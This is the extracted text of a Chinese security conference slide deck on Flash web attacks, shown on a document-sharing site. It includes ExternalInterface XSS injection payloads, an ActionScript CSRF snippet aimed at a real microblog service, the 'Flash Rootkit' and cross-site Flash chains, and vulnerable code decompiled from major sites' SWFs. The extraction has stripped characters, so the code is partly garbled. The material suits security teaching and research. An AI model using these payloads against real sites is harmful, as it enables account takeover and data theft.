![隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第1頁(yè)](http://file3.renrendoc.com/fileroot3/2021-11/12/4368d016-c219-444d-a924-fa483edc78ee/4368d016-c219-444d-a924-fa483edc78ee1.gif)
![隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第2頁(yè)](http://file3.renrendoc.com/fileroot3/2021-11/12/4368d016-c219-444d-a924-fa483edc78ee/4368d016-c219-444d-a924-fa483edc78ee2.gif)
![隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第3頁(yè)](http://file3.renrendoc.com/fileroot3/2021-11/12/4368d016-c219-444d-a924-fa483edc78ee/4368d016-c219-444d-a924-fa483edc78ee3.gif)
![隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第4頁(yè)](http://file3.renrendoc.com/fileroot3/2021-11/12/4368d016-c219-444d-a924-fa483edc78ee/4368d016-c219-444d-a924-fa483edc78ee4.gif)
![隱蔽的戰(zhàn)場(chǎng)—Flash Web攻擊_第5頁(yè)](http://file3.renrendoc.com/fileroot3/2021-11/12/4368d016-c219-444d-a924-fa483edc78ee/4368d016-c219-444d-a924-fa483edc78ee5.gif)
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、隱蔽的戰(zhàn)場(chǎng)Flash Web攻擊余弦cat readme KNOWNSEC VP, 404 Lab Leader KCon Sebug ZoomEye - CyberSpace Search Engine Web2.0 Hacker Web前端黑客技術(shù)揭秘 ls -l Flash Web攻擊的關(guān)鍵點(diǎn) 漏洞利用 漏洞挖掘Flash Web攻擊的關(guān)鍵點(diǎn)權(quán)限模型Flash Web攻擊的關(guān)鍵點(diǎn)沙箱 本地沙箱 Security.LOCAL_WITH_FILE Security.LOCAL_WITH_NETWORK Security.LOCAL_TRUSTE
2、D . 遠(yuǎn)程沙箱 Security.REMOTE crossdomain.xml Security.allowDomainDOM DOM object/embed allowNetworking all internal(default) none allowScriptAccess never sameDomain(default) always安全域應(yīng)用程序域More: http:/ Web攻擊的關(guān)鍵點(diǎn)JavaScript ActionScript與JavaScript交互 擴(kuò)大了攻擊面 本質(zhì)是DOM操作 以XML形式給ActionScript傳遞值 DOM劫持是一件輕松的事 這個(gè)DOM的
3、一些安全缺陷帶來(lái)的影響可能是致命的DOM操作function _flash_arrayToXML(obj) var s = ;for (var i=0; iobj.length; i+) s += + _flash_toXML(obji) + ;return s+;function _flash_argumentsToXML(obj,index) var s = ;for (var i=index; iobj.length; i+) s += _flash_toXML(obji);return s+;DOM操作function _flash_objectToXML(obj) var s = ;
4、for (var prop in obj) s += + _flash_toXML(objprop) + ;return s+;function _flash_escapeXML(s) return s.replace(/&/g, &).replace(/g, >).replace(/g, ").replace(/g, ');DOM操作function _flash_toXML(value) var type = typeof(value);if (type = string) return + _flash_escap
5、eXML(value) + ; else if (type = undefined) return ; else if (type = number) return + value + ; else if (value = null) return ; else if (type = boolean) return value ? : ; else if (value instanceof Date) return + value.getTime() + ; else if (value instanceof Array) return _flash_arrayToXML(value); el
6、se if (type = object) return _flash_objectToXML(value); else return ; /?DOM操作function _flash_addCallback(instance, name) instancename = function () return eval(instance.CallFunction( + _flash_argumentsToXML(arguments,0) + ); function _flash_removeCallback(instance, name) instancename = null;執(zhí)行JavaSc
7、ript 1 javascript偽協(xié)議 AS2 getURL(javascript:alert(1) AS3 navigateToURL(new URLRequest(javascript:alert(1),_self);執(zhí)行JavaScript 2 ExternalInterface.call a=eval&c=alert(1) try _flash_toXML(eval(alert(1); catch (e) ; var param:Object = root.loaderInfo.parameters;var action:String = parama;var cmd:Str
8、ing = paramc;flash.external.ExternalInterface.call(action, cmd);執(zhí)行JavaScript 2 a=a();catch(e)alert(2);/&c=alert(1) try _flash_toXML(a();catch(e)alert(2);/(alert(1) ; catch (e) ; 執(zhí)行JavaScript 2 a=a&c=);catch(e)alert(1);/ try _flash_toXML(a();catch(e)alert(1);/) ; catch (e) ; 執(zhí)行JavaScript 2 Ex
9、ternalInterface.call魔法缺陷本質(zhì) 轉(zhuǎn)義為 轉(zhuǎn)義為 本應(yīng)該是: 轉(zhuǎn)義為 沒(méi)被轉(zhuǎn)義執(zhí)行JavaScript 3 ExternalInterface.addCallback魔法缺陷 document.getElementById(swf).test(); _flash_addCallback(document.getElementById(swf_ie), test); aa;alert(document.domain);/aaimport flash.external.ExternalInterface;function test(k:String=default):Strin
10、g var str:String = aa;alert(document.domain);/aa;return str;ExternalInterface.addCallback(test, test);輸入Flash Web攻擊的關(guān)鍵點(diǎn)URL參數(shù) AS2 _root.argv _global.argv _level0.argv 全局變量未初始化問(wèn)題 AS3 root.loaderInfo.parametersXML 輸入是XML文件 http:/ XML是Flash最喜歡的數(shù)據(jù)格式 new URLRequest(http:/ LocalConnection allowDomain(*) 暴露
11、的socket相關(guān)接口可以作為輸入 非HTTP層面的法則 .LSO LSO(Flash Cookie) SharedObject + ExternalInterface.addCallback 通過(guò)addCallback即可控制LSO的值 再通過(guò)addCallback魔法缺陷可以自動(dòng)執(zhí)行JavaScript 更多細(xì)節(jié)見(jiàn):Flash Rootkit小節(jié)SWF 輸入是SWF文件 http:/ http:/ AS2 loadMovie() AS3 new Loader() + URLRequest(URLLoader) 更多細(xì)節(jié)見(jiàn):XSF小節(jié)HTTPFlash Web攻擊的關(guān)鍵點(diǎn)HTTP LoadV
12、ars/sendAndLoad/sendToURL/URLLoader/URLRequest GET/POST 遵循瀏覽器的同源策略 Flash特有的 crossdomain.xml Security.allowDomain 可能導(dǎo)致意外的跨域驚喜漏洞利用Flash XSS漏洞利用XSS 在利用上就是XSS沒(méi)什么好談的 需要特別注意的是IE會(huì)有如下特性Flash CSRF漏洞利用CSRF GET 可以用目標(biāo)域的缺陷SWF來(lái)間接發(fā)送GET型CSRF,這樣就帶上目標(biāo)域Referer了 POST 單純POST和常規(guī)CSRF沒(méi)什么區(qū)別 唯一的優(yōu)勢(shì):非常安靜,但這點(diǎn)往往是致命的 獲取信息 crossdo
13、main.xml的授權(quán)CSRF DEMO 搜狐微博document.forms0.submit();成功后會(huì)提示JSON文件下載提示,這樣的CSRF就容易暴露import .URLRequest;function post(msg) var url = new URLRequest(http:/ var _v = new URLVariables(); _v = status=+msg; url.method = POST; url.data = _v; sendToURL(url);post(flash_csrf_here); / 完美 :)CSRF Worm DEMO Fanfou Fla
14、sh Worm 2008水印漏洞利用LSO 曾經(jīng)Flash Cookie是跨瀏覽器共享 對(duì)于開(kāi)發(fā)人員來(lái)說(shuō)這個(gè)特性太酷 對(duì)于攻擊者來(lái)說(shuō)這個(gè)特性也很酷 相比傳統(tǒng)的HTTP Cookie,不容易被清理掉 用戶即使換了IP,升級(jí)了瀏覽器,還是可以唯一標(biāo)定 現(xiàn)狀 Chrome把Flash Cookie隔離了Flash Rootkit漏洞利用Rootkit LSO+allowDomain(*)+addCallback魔法缺陷 = Flash RootkitEvil SitePageFoo SiteSWFDOM object/embedFoo SiteLSOaddCallback MagicEvil Jav
15、aScriptFoo SitePageFlash Rootkit DEMO一些限制的繞過(guò) allowDomain(*) 下的XSS頁(yè)面來(lái)繞過(guò) MITM劫持攻擊 如果沒(méi)addCallback寫LSO的接口? XSF大法,見(jiàn)XSF小節(jié)XSF漏洞利用XSF XSF(Cross Site Flash)即跨站Flash攻擊 本質(zhì) 輸入是SWF文件 http:/ http:/ AS2 loadMovie() AS3 new Loader() + URLRequest(URLLoader) 權(quán)限模型權(quán)限模型foo & evil foo evil 更有意思的在這foo - evilFoo Site S
16、WFEvil Site SWFLoaderallowDomain(*)public classsteal dataFoo Sitecrossdomain.xmlallow-access-fromfoo - evil 這種模型關(guān)鍵點(diǎn) allowDomain(*) XSF之后很多public函數(shù)可以直接控制,如: 有關(guān)的初始化函數(shù)需要成功運(yùn)行,否則allowDomain會(huì)失敗try var domain:ApplicationDomain = loader.contentLoaderInfo.applicationDomain;/動(dòng)態(tài)獲取定義var boxClass:Class = domain.
17、getDefinition(com.example.Box) as Class;var boxInstance:Object = new boxClass();catch(err:Error)trace(err.message);foo - evil Flash Rootkit另類植入 當(dāng)不存在addCallback接口時(shí) 通過(guò)這種方式也可以植入Flash Rootkit特殊授權(quán) sharedEvents var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents; 類似HTML5的postMessage機(jī)制 暴露的事件
18、可以作為輸入XSF DEMO 案例分析漏洞挖掘人工漏洞挖掘關(guān)鍵點(diǎn) 靜態(tài)調(diào)試 成功反編譯 需應(yīng)對(duì)Flash的多種文件格式差異 動(dòng)態(tài)調(diào)試 Fiddler等抓包觀察會(huì)關(guān)聯(lián)請(qǐng)求什么資源 crossdomain.xml XML文件 SWF文件 .關(guān)鍵點(diǎn) 我的字典_root/_global/_level0root.loaderInfo.parametersLoadVarsLoaderloadBytesURLLoaderURLRequestXMLloadMovieExternalInterfaceallowDomainallowInsecureDomainSharedObjectgetURLnavigate
19、ToURLsharedEventsGoogle SWF XML劫持var myXML = new XML();var _callResult_162 = myXML.load( ( http:/ + _root.host ) + /load.php?action=playerad );myXML.ignoreWhite = True;myXML.onLoad = function (success) type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue; adurl = myXML.childNodes.0.childNod
20、es.1.childNodes.0.nodeValue; _global.sec = Number(myXML.childNodes.0.childNodes.2.childNodes.0. nodeValue) ; std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue; if ( ( std = 1 ) ) if ( ( type = 1 ) ) mp1.contentPath = ( ( ( http:/ + _root.host ) + / ) + adurl ); var _callResult_267 = mp1.p
21、lay();XML劫持: http:/ SWF XSS filetype:swf site: http:/ ( !(_callResult_6871 ) ) var _callResult_6880 = getURL(_level0.onend, );Gmail SWF XSS https:/ flashParams:* = LoaderInfo(this.root.loaderInfo).parameters;API_ID = apiId in flashParams ? (String(flashParams.apiId) : ();API_INIT = apiInit in flashP
22、arams ? (String(flashParams.apiInit) : (onUploaderApiReady);.if (ExternalInterface.available) ExternalInterface.call(API_INIT, API_ID);Sina Flash Rootkit/ ActionScript:Security.allowDomain(*);ExternalInterface.addCallback(getLazyInterface,cInter.getLazyInterface);ExternalInterface.addCallback(setLazyInte
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- Rilmazolam-生命科學(xué)試劑-MCE-2242
- cis-N-Acetyl-S-4-hydroxy-2-buten-1-yl-L-cysteine-d3-生命科學(xué)試劑-MCE-7054
- 3-4-MDPA-hydrochloride-生命科學(xué)試劑-MCE-3492
- 二零二五年度離婚后財(cái)產(chǎn)分割與共同生活費(fèi)用承擔(dān)協(xié)議
- 2025年度養(yǎng)老服務(wù)機(jī)構(gòu)專用房產(chǎn)租賃協(xié)議
- 二零二五年度貨車運(yùn)輸貨物跟蹤與反饋合同
- 2025年度股份占比協(xié)議書模板:知識(shí)產(chǎn)權(quán)入股股份占比協(xié)議書
- 二零二五年度企業(yè)食堂衛(wèi)生安全責(zé)任合同
- 2025年度越野輪車銷售與服務(wù)協(xié)議
- 跨學(xué)科知識(shí)體系的整合與實(shí)踐
- 2025年個(gè)人合法二手車買賣合同(4篇)
- 2025年山西國(guó)際能源集團(tuán)限公司所屬企業(yè)招聘43人高頻重點(diǎn)提升(共500題)附帶答案詳解
- 青海省海北藏族自治州(2024年-2025年小學(xué)六年級(jí)語(yǔ)文)統(tǒng)編版隨堂測(cè)試(上學(xué)期)試卷及答案
- 外研版(三起)小學(xué)英語(yǔ)三年級(jí)下冊(cè)Unit 1 Animal friends Get ready start up 課件
- 江蘇省無(wú)錫市2023-2024學(xué)年高三上學(xué)期期終教學(xué)質(zhì)量調(diào)研測(cè)試語(yǔ)文試題(解析版)
- 銅礦隱蔽致災(zāi)普查治理工作計(jì)劃
- 農(nóng)業(yè)行政執(zhí)法現(xiàn)狀及相關(guān)法律法規(guī)課件
- 班組月度考核評(píng)分表
- 部編版一年級(jí)下冊(cè)《道德與法治》教學(xué)工作計(jì)劃及全冊(cè)教案
- 三重一大事項(xiàng)決策流程
- 精密配電列頭柜介紹講義
評(píng)論
0/150
提交評(píng)論